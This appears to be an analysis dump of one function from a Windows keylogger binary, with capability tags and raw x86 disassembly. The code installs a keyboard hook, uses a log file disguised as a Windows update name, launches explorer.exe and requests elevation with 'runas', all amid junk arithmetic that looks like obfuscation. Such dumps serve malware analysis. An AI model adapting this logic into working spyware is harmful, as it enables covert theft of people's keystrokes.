Function at 0x412fd0
Capabilities:
Check if file exists
Create process on windows
Create process suspended
Delete file
Get common file path
Log keystrokes via application hook

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x10a4
call fcn.00432110
mov eax, dword [0x460640]
xor eax, ebp
mov dword [esp + 0x10a0], eax
mov eax, dword [ebp + 0x14]
mov dword [esp + 0x38], eax
mov eax, dword [0x45ecd4]
push ebx
cdq
push esi
mov esi, dword [0x45eccc]
mov dword [esp + 0x14], eax
push edi
mov edi, dword [0x45ece8]
mov dword [esp + 0x1c], edx
mov eax, esi
cdq
mov ebx, eax
mov eax, edi
imul eax, eax, 0x6b66a94
push 1
push 0x86050f76
push edx
push ebx
mov dword [esp + 0x50], 0
mov dword [esp + 0x30], ebx
mov dword [esp + 0x34], edx
mov dword [esp + 0x20], eax
call fcn.004319f0
mov ecx, dword [esp + 0x24]
push 2
push 0xb57eb16
push ecx
push ebx
mov dword [esp + 0x24], eax
call fcn.004319f0
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x1c]
push 2
push 0xb57eb16
sub eax, ecx
mov ecx, dword [esp + 0x20]
push edx
push ecx
mov dword [esp + 0x24], eax
call fcn.004319f0
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x1c]
push 1
push 0xeae0c6d3
sub ecx, eax
mov eax, dword [esp + 0x20]
push edx
push eax
mov dword [esp + 0x24], ecx
call fcn.004319f0
mov ecx, dword [esp + 0x14]
mov ebx, dword [esp + 0x10]
mov edx, esi
imul edx, edx, 0x140cef57
add ecx, eax
mov eax, dword [0x45ecdc]
sub ecx, edx
mov edx, ecx
mov ecx, eax
imul ecx, ecx, 0x5295f78d
add edx, ebx
add ecx, edx
mov dword [str._r_____r____], ecx
cmp dword [ebp + 8], 0x132b600
je 0x413171
push 2
cdq
push 0xb57eb16
push edx
push eax
call fcn.004319f0
mov esi, eax
mov eax, dword [0x45ecd0]
push 0xfffffffffffffffe
cdq
push 0x4f64023c
push edx
push eax
call fcn.004319f0
mov ecx, dword [0x45ecd8]
mov edi, eax
mov eax, ecx
imul eax, eax, 0xb57eb16
sub edi, esi
add edi, eax
mov eax, 0x2a01e433
imul ecx
mov eax, dword [0x45ece4]
sar edx, 0x1c
add edi, edx
mov ecx, edx
mov edx, dword [0x45ecc8]
imul edx, edx, 0x5295f78d
shr ecx, 0x1f
add ecx, edi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
add ecx, edx
sub ecx, eax
lea eax, [ecx + ebx - 0x6181b446]
mov dword [0x45ecd0], eax
mov esi, 0x64
lea esp, [esp]
push 0x3e8
call edi
dec esi
jne 0x413150
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x10a0]
xor ecx, ebp
call fcn.0043180d
mov esp, ebp
pop ebp
ret
mov eax, dword [0x45ece4]
mov ecx, dword [0x45ecd0]
cdq
mov dword [esp + 0x28], eax
lea eax, [ecx + esi]
mov ecx, dword [esp + 0x20]
imul eax, eax, 0x79faf08a
push 0xfffffffffffffffe
mov dword [esp + 0x30], edx
mov edx, dword [esp + 0x28]
push 0xad6a0873
push edx
push ecx
mov dword [esp + 0x20], eax
call fcn.004319f0
mov edx, dword [esp + 0x2c]
mov ebx, eax
mov eax, dword [esp + 0x10]
push 2
push 0xb57eb16
sub ebx, eax
mov eax, dword [esp + 0x30]
push edx
push eax
call fcn.004319f0
mov ecx, dword [esp + 0x2c]
mov edx, dword [esp + 0x28]
push 1
push 0xeae0c6d3
push ecx
push edx
add ebx, eax
call fcn.004319f0
add ebx, eax
mov eax, dword [0x45ece0]
imul eax, eax, 0x2c857103
sub ebx, eax
mov eax, dword [0x45ecdc]
imul eax, eax, 0x6181b446
add ebx, eax
mov eax, dword [section.dfsaewr4]
test eax, eax
mov dword [0x45ecdc], ebx
push 1
je 0x41327e
mov esi, dword [0x45ecd0]
mov eax, esi
cdq
push 0xebf310a9
push edx
push eax
call fcn.004319f0
mov ecx, dword [esp + 0x2c]
mov edi, eax
mov eax, 0x4d7937c3
mul esi
push 1
shr edx, 0x1e
push 0x5295f78d
add edi, edx
mov edx, dword [esp + 0x30]
push ecx
push edx
call fcn.004319f0
sub edi, eax
mov eax, dword [0x45ece0]
imul eax, eax, 0x7f4ea4e2
sub edi, eax
mov eax, dword [0x45ecc8]
imul eax, eax, 0x6181b446
add edi, eax
mov eax, 0x2a01e433
imul esi
sar edx, 0x1c
mov ecx, edx
shr ecx, 0x1f
add edi, edx
add ecx, edi
mov dword [0x45ecc8], ecx
jmp 0x41424c
mov eax, ebx
cdq
push 0xeae0c6d3
push edx
push eax
call fcn.004319f0
mov edx, dword [0x45ecd8]
mov ecx, eax
mov eax, dword [str._r_____r____]
add edx, eax
imul edx, edx, 0x5295f78d
add ecx, edx
mov eax, 0x2a215c6f
mul ebx
mov eax, ebx
imul ebx, ebx, 0x140cef57
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [str._r_____r____]
imul edx, edx, 0x151f392d
shr eax, 0x1f
sub ecx, eax
mov eax, dword [0x45ece0]
sub ecx, ebx
sub ecx, edx
lea ecx, [ecx + eax - 0x6181b446]
mov dword [0x45ecd4], ecx
mov ecx, dword [0x45ecd0]
jmp 0x4132f0
lea eax, [ecx + edi]
imul eax, eax, 0x4f64023c
mov dword [esp + 0x10], eax
push 0xfffffffffffffffe
mov eax, esi
cdq
push 0x4f64023c
push edx
push eax
call fcn.004319f0
mov ebx, eax
mov eax, dword [esp + 0x10]
sub ebx, eax
push 1
mov eax, edi
cdq
push 0x86050f76
push edx
push eax
call fcn.004319f0
mov ecx, dword [0x45ecd8]
add ebx, eax
imul ecx, ecx, 0x2c857103
mov eax, dword [0x45ecd4]
mov edx, eax
imul edx, edx, 0x6b66a94
sub ebx, edx
mov edx, dword [0x45ecdc]
imul edx, edx, 0x6181b446
sub ebx, ecx
mov ecx, dword [ebp + 0x10]
sub ebx, edx
test ecx, ecx
mov dword [0x45ece0], ebx
jg 0x4134bd
mov ecx, dword [esp + 0x44]
test ecx, ecx
je 0x4134bd
lea edx, [ecx + 1]
mov dword [esp + 0x10], edx
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x413378
sub ecx, dword [esp + 0x10]
mov dword [esp + 0x10], ecx
je 0x4134bd
cdq
push 1
push 0x5295f78d
push edx
push eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], edx
call fcn.004319f0
mov ecx, dword [esp + 0x1c]
mov dword [esp + 0x10], eax
mov eax, 0x2a215c6f
mul esi
mov eax, dword [esp + 0x10]
sub esi, edx
push 1
shr esi, 1
add esi, edx
mov edx, dword [esp + 0x1c]
push 0xeae0c6d3
shr esi, 0x1f
push ecx
add eax, esi
push edx
mov dword [esp + 0x20], eax
call fcn.004319f0
imul ebx, ebx, 0x140cef57
imul edi, edi, 0x6b66a94
mov ecx, dword [esp + 0x10]
add ecx, eax
mov eax, dword [0x45ece4]
imul eax, eax, 0x6181b446
sub ecx, ebx
sub ecx, edi
add ecx, eax
sub ecx, dword [str._r_____r____]
mov eax, dword [esp + 0x44]
push eax
sub ecx, 0x4f64023c
push 0
mov dword [0x45eccc], ecx
call fcn.0040fe20
add esp, 8
test eax, eax
mov dword [esp + 0x14], eax
jle 0x414072
mov eax, dword [0x45ecd8]
cdq
mov edi, eax
mov eax, dword [0x45ece4]
push 0xfffffffffffffffd
mov dword [esp + 0x38], edx
cdq
push 0xf4a814ea
push edx
push eax
call fcn.004319f0
mov edx, dword [0x45ecd4]
mov ecx, dword [0x45ecc8]
mov esi, dword [str._r_____r____]
add ecx, edx
mov ebx, eax
imul ecx, ecx, 0x242d3a05
push 1
mov eax, esi
cdq
push 0xb09bfdc4
push edx
push eax
sub ebx, ecx
call fcn.004319f0
push 1
add ebx, eax
mov eax, dword [esp + 0x38]
push 0x86050f76
push eax
push edi
call fcn.004319f0
mov ecx, dword [esp + 0x34]
push 1
push 0xeae0c6d3
push ecx
push edi
sub ebx, eax
call fcn.004319f0
imul esi, esi, 0x151f392d
mov edi, dword [0x45ece8]
sub ebx, eax
sub ebx, esi
mov esi, dword [0x45eccc]
mov dword [0x45ece4], ebx
jmp 0x413530
mov ebx, dword [0x45ecc8]
push 1
mov eax, ebx
cdq
push 0xeae0c6d3
push edx
push eax
call fcn.004319f0
mov ecx, dword [0x45ecd0]
mov edx, dword [0x45ecd8]
add edx, ecx
imul ecx, ecx, 0x151f392d
imul edx, edx, 0x140cef57
mov edi, eax
sub edi, edx
mov eax, 0x4d7937c3
mul dword [str._r_____r____]
shr edx, 0x1e
sub edi, edx
mov eax, 0x2a215c6f
mul ebx
mov eax, dword [0x45ece4]
sub ebx, edx
imul eax, eax, 0x6181b446
shr ebx, 1
add ebx, edx
shr ebx, 0x1f
add edi, ebx
sub edi, eax
mov eax, dword [ebp + 0x10]
add edi, ecx
mov dword [0x45ece8], edi
mov dword [esp + 0x14], eax
mov eax, dword [0x45ecd4]
cdq
mov dword [esp + 0x18], eax
push 1
mov dword [esp + 0x20], edx
mov eax, esi
cdq
push 0x86050f76
mov ebx, eax
push edx
push ebx
mov dword [esp + 0x34], edx
call fcn.004319f0
mov ecx, dword [esp + 0x24]
push 2
push 0xb57eb16
push ecx
push ebx
mov dword [esp + 0x20], eax
call fcn.004319f0
mov edx, dword [esp + 0x1c]
mov ebx, eax
mov eax, dword [esp + 0x10]
push 2
push 0xb57eb16
sub ebx, eax
mov eax, dword [esp + 0x20]
push edx
push eax
call fcn.004319f0
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x18]
push 1
push 0xeae0c6d3
push ecx
push edx
sub ebx, eax
call fcn.004319f0
imul esi, esi, 0x140cef57
imul edi, edi, 0x6b66a94
add ebx, eax
mov eax, dword [0x45ecdc]
imul eax, eax, 0x5295f78d
sub ebx, esi
add ebx, edi
add ebx, eax
push str.c:WINDoWSKB5445243.log
mov dword [str._r_____r____], ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov esi, dword [0x45ecd0]
push 1
mov eax, esi
cdq
push 0xebf310a9
push edx
push eax
call fcn.004319f0
mov edi, eax
mov eax, dword [0x45ece4]
push 1
cdq
push 0x5295f78d
push edx
push eax
call fcn.004319f0
sub edi, eax
mov ecx, dword [0x45ecc8]
mov eax, 0x4d7937c3
imul ecx, ecx, 0x6181b446
mul esi
mov eax, dword [0x45ece0]
imul eax, eax, 0x7f4ea4e2
shr edx, 0x1e
add edi, edx
sub edi, eax
mov eax, 0x2a01e433
imul esi
sar edx, 0x1c
mov eax, edx
add edi, ecx
shr eax, 0x1f
mov ecx, dword [esp + 0x14]
add edi, edx
mov edx, dword [0x5727ec]
push ecx
add eax, edi
push edx
mov dword [0x45ecc8], eax
mov eax, dword [ebp + 0xc]
push sym.CallDll.exe_long_int___stdcall_EngineProc_int__unsigned_int__long_int_
push eax
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
test eax, eax
mov dword [section.dfsaewr4], eax
je 0x41411a
mov eax, dword [0x45ecdc]
push 2
cdq
push 0xb57eb16
push edx
push eax
call fcn.004319f0
mov esi, eax
mov eax, dword [0x45ecd0]
push 0xfffffffffffffffe
cdq
push 0x4f64023c
push edx
push eax
call fcn.004319f0
mov edi, dword [0x45ece8]
mov ecx, edi
imul ecx, ecx, 0x6b66a94
mov ebx, eax
sub ebx, esi
add ebx, ecx
mov ecx, dword [0x45ecd8]
mov edx, ecx
imul edx, edx, 0xb57eb16
add ebx, edx
mov eax, 0x2a01e433
imul ecx
mov ecx, dword [0x45ece4]
sar edx, 0x1c
mov esi, edx
shr esi, 0x1f
add ebx, edx
add esi, ebx
mov ebx, dword [0x45ecc8]
mov eax, ebx
imul eax, eax, 0x5295f78d
add esi, eax
sub esi, ecx
sub esi, 0x6181b446
mov dword [0x5727f0], 1
mov dword [esp + 0x14], 0
jmp 0x413710
mov edi, dword [0x45ece8]
mov esi, dword [0x45ecd0]
mov ebx, dword [0x45ecc8]
lea esp, [esp]
mov eax, dword [0x45ecdc]
push 2
cdq
push 0xb57eb16
push edx
push eax
call fcn.004319f0
mov dword [esp + 0x10], eax
push 0xfffffffffffffffe
mov eax, esi
cdq
push 0x4f64023c
push edx
push eax
call fcn.004319f0
imul edi, edi, 0x6b66a94
imul ebx, ebx, 0x5295f78d
mov ecx, dword [0x45ecd8]
mov esi, eax
mov eax, dword [esp + 0x10]
sub esi, eax
mov edx, ecx
imul edx, edx, 0xb57eb16
add esi, edi
mov edi, dword [0x45ece4]
add esi, edx
mov eax, 0x2a01e433
imul ecx
sar edx, 0x1c
mov eax, edx
shr eax, 0x1f
add esi, edx
add eax, esi
add eax, ebx
sub eax, edi
sub eax, 0x6181b446
push str.c:WINDoWSKB5445243.log
mov dword [0x45ecd0], eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
cmp eax, 1
je 0x4137b2
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0x14]
inc eax
cmp eax, 0x12c
mov dword [esp + 0x14], eax
jl 0x4136fa
mov edi, dword [0x45ece8]
mov eax, edi
cdq
mov esi, eax
mov eax, dword [0x45ecd4]
push 1
mov ebx, edx
cdq
push 0xeae0c6d3
push edx
push eax
mov dword [esp + 0x4c], ebx
call fcn.004319f0
push 0xfffffffffffffffe
push 0x140cef57
push ebx
push esi
mov dword [esp + 0x20], eax
call fcn.004319f0
mov ecx, dword [esp + 0x3c]
push 2
push 0x6b66a94
mov ebx, eax
mov eax, dword [esp + 0x18]
push ecx
push esi
sub ebx, eax
call fcn.004319f0
mov esi, dword [0x45ece0]
add ebx, eax
mov eax, 0x2a215c6f
mul esi
mov eax, esi
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [0x45ecc8]
shr eax, 0x1f
imul edx, edx, 0x151f392d
add ebx, eax
mov ecx, edi
imul ecx, ecx, 0x6181b446
mov eax, esi
imul eax, eax, 0x242d3a05
sub ebx, ecx
sub ebx, edx
sub ebx, eax
cmp dword [esp + 0x14], 0x12c
mov dword [0x45ecd8], ebx
jl 0x4141b0
mov eax, dword [esp + 0x40]
test eax, eax
jne 0x4141b0
mov eax, dword [0x45ece4]
mov ebx, dword [0x45eccc]
cdq
mov edi, eax
push 0xfffffffffffffffe
mov dword [esp + 0x30], edx
mov eax, ebx
cdq
push 0xad6a0873
push edx
push eax
call fcn.004319f0
mov ecx, dword [0x45ecd0]
mov edx, dword [esp + 0x2c]
add ecx, ebx
imul ecx, ecx, 0x79faf08a
push 2
push 0xb57eb16
push edx
sub eax, ecx
push edi
mov dword [esp + 0x20], eax
call fcn.004319f0
mov ecx, dword [esp + 0x10]
push 1
add ecx, eax
mov eax, dword [esp + 0x30]
push 0xeae0c6d3
push eax
push edi
mov dword [esp + 0x20], ecx
call fcn.004319f0
imul esi, esi, 0x2c857103
mov edx, dword [0x45ecdc]
mov ecx, dword [esp + 0x10]
imul edx, edx, 0x6181b446
add ecx, eax
sub ecx, esi
push 0x800
lea eax, [esp + 0xac]
add ecx, edx
push eax
mov dword [0x45ecdc], ecx
mov dword [esp + 0x48], 1
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov eax, dword [0x45eccc]
mov ecx, dword [0x45ecd0]
mov esi, dword [0x45ece8]
push 0xfffffffffffffffe
cdq
push 0x4f64023c
push edx
lea edi, [ecx + esi]
push eax
imul edi, edi, 0x4f64023c
call fcn.004319f0
mov ebx, eax
push 1
mov eax, esi
cdq
push 0x86050f76
push edx
push eax
sub ebx, edi
call fcn.004319f0
mov edx, dword [0x45ecd4]
mov ecx, dword [0x45ecdc]
imul edx, edx, 0x6b66a94
add ebx, eax
imul ecx, ecx, 0x6181b446
mov eax, dword [0x45ecd8]
imul eax, eax, 0x2c857103
sub ebx, edx
lea edx, [esp + 0xa8]
sub ebx, eax
push edx
sub ebx, ecx
push str._sexplorer.exe
lea eax, [esp + 0x8b0]
mov dword [0x45ece0], ebx
push eax
call fcn.00431a9a
lea ecx, [esp + 0x8b4]
push 0
push ecx
call fcn.00431e3d
add esp, 0x14
cmp eax, 0xffffffff
je 0x413ff9
mov eax, dword [0x45ecd8]
cdq
mov edi, eax
mov eax, dword [0x45ece4]
push 0xfffffffffffffffd
mov dword [esp + 0x38], edx
cdq
push 0xf4a814ea
push edx
push eax
call fcn.004319f0
mov edx, dword [0x45ecd4]
mov esi, dword [str._r_____r____]
mov ebx, eax
mov eax, dword [0x45ecc8]
add eax, edx
imul eax, eax, 0x242d3a05
sub ebx, eax
push 1
mov eax, esi
cdq
push 0xb09bfdc4
push edx
push eax
call fcn.004319f0
mov ecx, dword [esp + 0x34]
push 1
push 0x86050f76
push ecx
push edi
add ebx, eax
call fcn.004319f0
mov edx, dword [esp + 0x34]
push 1
push 0xeae0c6d3
push edx
push edi
sub ebx, eax
call fcn.004319f0
imul esi, esi, 0x151f392d
sub ebx, eax
sub ebx, esi
push str.explorer.exe
mov dword [0x45ece4], ebx
call fcn.00406980
mov edi, dword [0x45ecc8]
add esp, 4
push 1
mov eax, edi
cdq
push 0xeae0c6d3
push edx
push eax
call fcn.004319f0
mov ecx, dword [0x45ecd0]
mov esi, eax
mov eax, dword [0x45ecd8]
add eax, ecx
imul ecx, ecx, 0x151f392d
imul eax, eax, 0x140cef57
sub esi, eax
mov eax, 0x4d7937c3
mul dword [str._r_____r____]
shr edx, 0x1e
sub esi, edx
mov eax, 0x2a215c6f
mul edi
sub edi, edx
shr edi, 1
add edi, edx
mov edx, dword [0x45ece4]
imul edx, edx, 0x6181b446
shr edi, 0x1f
add esi, edi
sub esi, edx
add esi, ecx
mov dword [0x45ece8], esi
mov dword [esp + 0x14], 5
jmp 0x413ac0
mov esi, dword [0x45ece8]
jmp 0x413ac0
mov eax, dword [0x45ecd4]
mov edi, dword [0x45eccc]
cdq
mov dword [esp + 0x18], eax
push 1
mov dword [esp + 0x20], edx
mov eax, edi
cdq
push 0x86050f76
mov ebx, eax
push edx
push ebx
mov dword [esp + 0x34], edx
call fcn.004319f0
mov ecx, dword [esp + 0x24]
push 2
push 0xb57eb16
push ecx
push ebx
mov dword [esp + 0x20], eax
call fcn.004319f0
mov edx, dword [esp + 0x1c]
mov ebx, eax
mov eax, dword [esp + 0x10]
push 2
push 0xb57eb16
sub ebx, eax
mov eax, dword [esp + 0x20]
push edx
push eax
call fcn.004319f0
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x18]
push 1
push 0xeae0c6d3
push ecx
push edx
sub ebx, eax
call fcn.004319f0
imul edi, edi, 0x140cef57
imul esi, esi, 0x6b66a94
add ebx, eax
mov eax, dword [0x45ecdc]
imul eax, eax, 0x5295f78d
sub ebx, edi
add ebx, esi
add ebx, eax
push str.explorer.exe
mov dword [str._r_____r____], ebx
call fcn.00406330
add esp, 4
test eax, eax
jg 0x413f5d
mov esi, dword [0x45ecd0]
mov eax, esi
cdq
mov edi, eax
mov eax, dword [0x45ece4]
push 1
mov ebx, edx
cdq
push 0x5295f78d
push edx
push eax
mov dword [esp + 0x58], edi
mov dword [esp + 0x5c], ebx
call fcn.004319f0
mov ecx, eax
mov eax, 0x4d7937c3
mul esi
push 1
shr edx, 0x1e
push 0xebf310a9
mov eax, edx
push ebx
sub eax, ecx
push edi
mov dword [esp + 0x20], eax
call fcn.004319f0
mov ecx, dword [esp + 0x10]
mov edx, dword [0x45ece0]
add ecx, eax
imul edx, edx, 0x7f4ea4e2
mov eax, dword [0x45ecc8]
imul eax, eax, 0x6181b446
sub ecx, edx
add ecx, eax
mov eax, 0x2a01e433
imul esi
sar edx, 0x1c
mov esi, edx
add ecx, edx
shr esi, 0x1f
add esi, ecx
xor eax, eax
mov ecx, 0x11
lea edi, [esp + 0x50]
rep stosd dword es:[edi], eax
mov eax, dword [0x45ecd4]
mov edi, dword [0x45ece8]
cdq
imul edi, edi, 0x6b66a94
push 1
push 0x5295f78d
push edx
push eax
mov dword [0x45ecc8], esi
mov dword [esp + 0x60], 0x44
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], edx
call fcn.004319f0
mov ecx, dword [0x45eccc]
mov ebx, eax
mov eax, 0x2a215c6f
mul ecx
sub ecx, edx
shr ecx, 1
add ecx, edx
mov edx, dword [esp + 0x18]
shr ecx, 0x1f
push 1
add ebx, ecx
mov ecx, dword [esp + 0x20]
push 0xeae0c6d3
push ecx
push edx
call fcn.004319f0
add ebx, eax
mov eax, dword [0x45ece0]
imul eax, eax, 0x140cef57
sub ebx, eax
mov eax, dword [0x45ece4]
imul eax, eax, 0x6181b446
add ebx, eax
mov eax, dword [0x45ecdc]
mov ecx, dword [str._r_____r____]
push 2
cdq
sub ebx, edi
push 0xb57eb16
sub ebx, ecx
push edx
sub ebx, 0x4f64023c
push eax
mov dword [0x45eccc], ebx
mov dword [esp + 0x8c], 1
mov word [esp + 0x90], 5
call fcn.004319f0
mov ecx, dword [esp + 0x4c]
mov edx, dword [esp + 0x48]
push 0xfffffffffffffffe
push 0x4f64023c
push ecx
push edx
mov ebx, eax
call fcn.004319f0
imul esi, esi, 0x5295f78d
mov ecx, dword [0x45ecd8]
mov edx, ecx
imul edx, edx, 0xb57eb16
sub eax, ebx
add eax, edx
mov ebx, eax
mov eax, 0x2a01e433
imul ecx
mov ecx, dword [0x45ece4]
sar edx, 0x1c
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
add eax, esi
sub eax, ecx
lea ecx, [eax + edi - 0x6181b446]
lea edx, [esp + 0x98]
push edx
lea eax, [esp + 0x54]
push eax
mov dword [0x45ecd0], ecx
lea ecx, [esp + 0xb0]
push ecx
push 0
push 0x20
push 0
push 0
push 0
lea edx, [esp + 0x8c8]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
push 1
push 0xeae0c6d3
je 0x413db9
mov edi, dword [0x45ecdc]
mov eax, edi
cdq
push edx
push eax
call fcn.004319f0
mov esi, dword [str._r_____r____]
mov edx, dword [0x45ecd8]
add edx, esi
imul edx, edx, 0x5295f78d
mov ecx, eax
add ecx, edx
mov eax, 0x2a215c6f
mul edi
mov eax, edi
imul edi, edi, 0x140cef57
sub eax, edx
shr eax, 1
add eax, edx
mov edx, esi
imul edx, edx, 0x151f392d
shr eax, 0x1f
sub ecx, eax
mov eax, dword [0x45ece0]
sub ecx, edi
sub ecx, edx
lea ecx, [ecx + eax - 0x6181b446]
mov dword [0x45ecd4], ecx
jmp 0x413f63
mov esi, dword [0x45ece8]
mov eax, esi
cdq
mov edi, eax
mov eax, dword [0x45ecd4]
mov ebx, edx
cdq
push edx
push eax
mov dword [esp + 0x4c], ebx
call fcn.004319f0
push 0xfffffffffffffffe
push 0x140cef57
push ebx
push edi
mov dword [esp + 0x20], eax
call fcn.004319f0
mov edx, dword [esp + 0x3c]
push 2
push 0x6b66a94
mov ebx, eax
mov eax, dword [esp + 0x18]
push edx
push edi
sub ebx, eax
call fcn.004319f0
imul esi, esi, 0x6181b446
mov ecx, dword [0x45ece0]
add ebx, eax
mov eax, 0x2a215c6f
mul ecx
mov eax, ecx
imul ecx, ecx, 0x242d3a05
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [0x45ecc8]
imul edx, edx, 0x151f392d
shr eax, 0x1f
add ebx, eax
push 1
sub ebx, esi
lea eax, [esp + 0xac]
push eax
sub ebx, edx
sub ebx, ecx
push 0
lea ecx, [esp + 0x8b4]
push ecx
push str.runas
push 0
mov dword [0x45ecd8], ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
push 0xfffffffffffffffe
jg 0x413ef1
mov eax, dword [0x45ece4]
mov ebx, dword [0x45eccc]
cdq
mov esi, eax
mov edi, edx
mov eax, ebx
cdq
push 0xad6a0873
push edx
push eax
call fcn.004319f0
mov edx, dword [0x45ecd0]
add edx, ebx
imul edx, edx, 0x79faf08a
push 2
push 0xb57eb16
push edi
sub eax, edx
push esi
mov dword [esp + 0x20], eax
call fcn.004319f0
mov ecx, dword [esp + 0x10]
push 1
push 0xeae0c6d3
push edi
add ecx, eax
push esi
mov dword [esp + 0x20], ecx
call fcn.004319f0
mov ecx, dword [esp + 0x10]
mov edx, dword [0x45ecdc]
add ecx, eax
imul edx, edx, 0x6181b446
mov eax, dword [0x45ece0]
imul eax, eax, 0x2c857103
sub ecx, eax
add ecx, edx
mov dword [0x45ecdc], ecx
jmp 0x413f5d
mov eax, dword [0x45ecd0]
mov esi, dword [0x45ece8]
lea edi, [eax + esi]
mov eax, dword [0x45eccc]
imul edi, edi, 0x4f64023c
cdq
push 0x4f64023c
push edx
push eax
call fcn.004319f0
mov ebx, eax
push 1
mov eax, esi
cdq
push 0x86050f76
push edx
push eax
sub ebx, edi
call fcn.004319f0
mov ecx, dword [0x45ecd4]
mov edx, dword [0x45ecd8]
imul ecx, ecx, 0x6b66a94
add ebx, eax
imul edx, edx, 0x2c857103
mov eax, dword [0x45ecdc]
imul eax, eax, 0x6181b446
sub ebx, ecx
sub ebx, edx
sub ebx, eax
mov dword [0x45ece0], ebx
mov esi, dword [str._r_____r____]
mov eax, dword [0x45ecd8]
cdq
mov edi, eax
mov eax, dword [0x45ece4]
push 0xfffffffffffffffd
mov dword [esp + 0x38], edx
cdq
push 0xf4a814ea
push edx
push eax
call fcn.004319f0
mov edx, dword [0x45ecd4]
mov ecx, dword [0x45ecc8]
add ecx, edx
mov ebx, eax
imul ecx, ecx, 0x242d3a05
push 1
mov eax, esi
cdq
push 0xb09bfdc4
push edx
push eax
sub ebx, ecx
call fcn.004319f0
push 1
add ebx, eax
mov eax, dword [esp + 0x38]
push 0x86050f76
push eax
push edi
call fcn.004319f0
mov ecx, dword [esp + 0x34]
push 1
push 0xeae0c6d3
push ecx
push edi
sub ebx, eax
call fcn.004319f0
imul esi, esi, 0x151f392d
sub ebx, eax
sub ebx, esi
push 0x3e8
mov dword [0x45ece4], ebx
call dword [sym.imp.KERNEL32.dll_Sleep]
dec dword [esp + 0x14]
jne 0x413ab0
mov esi, dword [0x45ecc8]
push 1
mov eax, esi
cdq
push 0xeae0c6d3
push edx
push eax
call fcn.004319f0
mov ecx, dword [0x45ecd0]
mov edx, dword [0x45ecd8]
add edx, ecx
imul edx, edx, 0x140cef57
mov edi, eax
sub edi, edx
mov eax, 0x4d7937c3
mul dword [str._r_____r____]
shr edx, 0x1e
sub edi, edx
mov eax, 0x2a215c6f
mul esi
mov eax, dword [0x45ece4]
sub esi, edx
imul eax, eax, 0x6181b446
shr esi, 1
add esi, edx
mov edx, ecx
imul edx, edx, 0x151f392d
shr esi, 0x1f
add edi, esi
mov esi, dword [0x45eccc]
sub edi, eax
add edi, edx
mov dword [0x45ece8], edi
jmp 0x4132f0
mov esi, dword [0x45ece8]
mov eax, esi
cdq
mov edi, eax
mov eax, dword [0x45ecd4]
push 1
mov ebx, edx
cdq
push 0xeae0c6d3
push edx
push eax
mov dword [esp + 0x4c], ebx
call fcn.004319f0
push 0xfffffffffffffffe
push 0x140cef57
push ebx
push edi
mov dword [esp + 0x20], eax
call fcn.004319f0
mov ebx, eax
mov eax, dword [esp + 0x10]
push 2
sub ebx, eax
mov eax, dword [esp + 0x40]
push 0x6b66a94
push eax
push edi
call fcn.004319f0
imul esi, esi, 0x6181b446
mov ecx, dword [0x45ece0]
add ebx, eax
mov eax, 0x2a215c6f
mul ecx
mov eax, ecx
imul ecx, ecx, 0x242d3a05
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [0x45ecc8]
imul edx, edx, 0x151f392d
shr eax, 0x1f
add ebx, eax
sub ebx, esi
sub ebx, edx
sub ebx, ecx
mov dword [0x45ecd8], ebx
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x10a0]
xor ecx, ebp
call fcn.0043180d
mov esp, ebp
pop ebp
ret
mov eax, dword [0x45ecd4]
cdq
push 1
push 0x5295f78d
mov edi, edx
mov esi, eax
push edi
push esi
call fcn.004319f0
mov ecx, dword [0x45eccc]
mov ebx, eax
mov eax, 0x2a215c6f
mul ecx
sub ecx, edx
push 1
shr ecx, 1
push 0xeae0c6d3
add ecx, edx
push edi
shr ecx, 0x1f
push esi
add ebx, ecx
call fcn.004319f0
mov ecx, dword [0x45ece8]
mov edx, dword [0x45ece4]
imul ecx, ecx, 0x6b66a94
add ebx, eax
imul edx, edx, 0x6181b446
mov eax, dword [0x45ece0]
imul eax, eax, 0x140cef57
sub ebx, eax
sub ebx, ecx
mov ecx, dword [str._r_____r____]
add ebx, edx
sub ebx, ecx
sub ebx, 0x4f64023c
mov dword [0x45eccc], ebx
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x10a0]
xor ecx, ebp
call fcn.0043180d
mov esp, ebp
pop ebp
ret
mov eax, dword [0x45ecd4]
mov esi, dword [0x45eccc]
cdq
mov dword [esp + 0x18], eax
push 1
mov dword [esp + 0x20], edx
mov eax, esi
cdq
push 0x86050f76
mov ebx, eax
push edx
push ebx
mov dword [esp + 0x34], edx
call fcn.004319f0
mov ecx, dword [esp + 0x24]
push 2
push 0xb57eb16
push ecx
push ebx
mov dword [esp + 0x20], eax
call fcn.004319f0
mov edx, dword [esp + 0x1c]
mov ebx, eax
mov eax, dword [esp + 0x10]
push 2
push 0xb57eb16
sub ebx, eax
mov eax, dword [esp + 0x20]
push edx
push eax
call fcn.004319f0
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x18]
push 1
push 0xeae0c6d3
push ecx
push edx
sub ebx, eax
call fcn.004319f0
imul esi, esi, 0x140cef57
imul edi, edi, 0x6b66a94
add ebx, eax
mov eax, dword [0x45ecdc]
imul eax, eax, 0x5295f78d
sub ebx, esi
add ebx, edi
add ebx, eax
mov dword [str._r_____r____], ebx
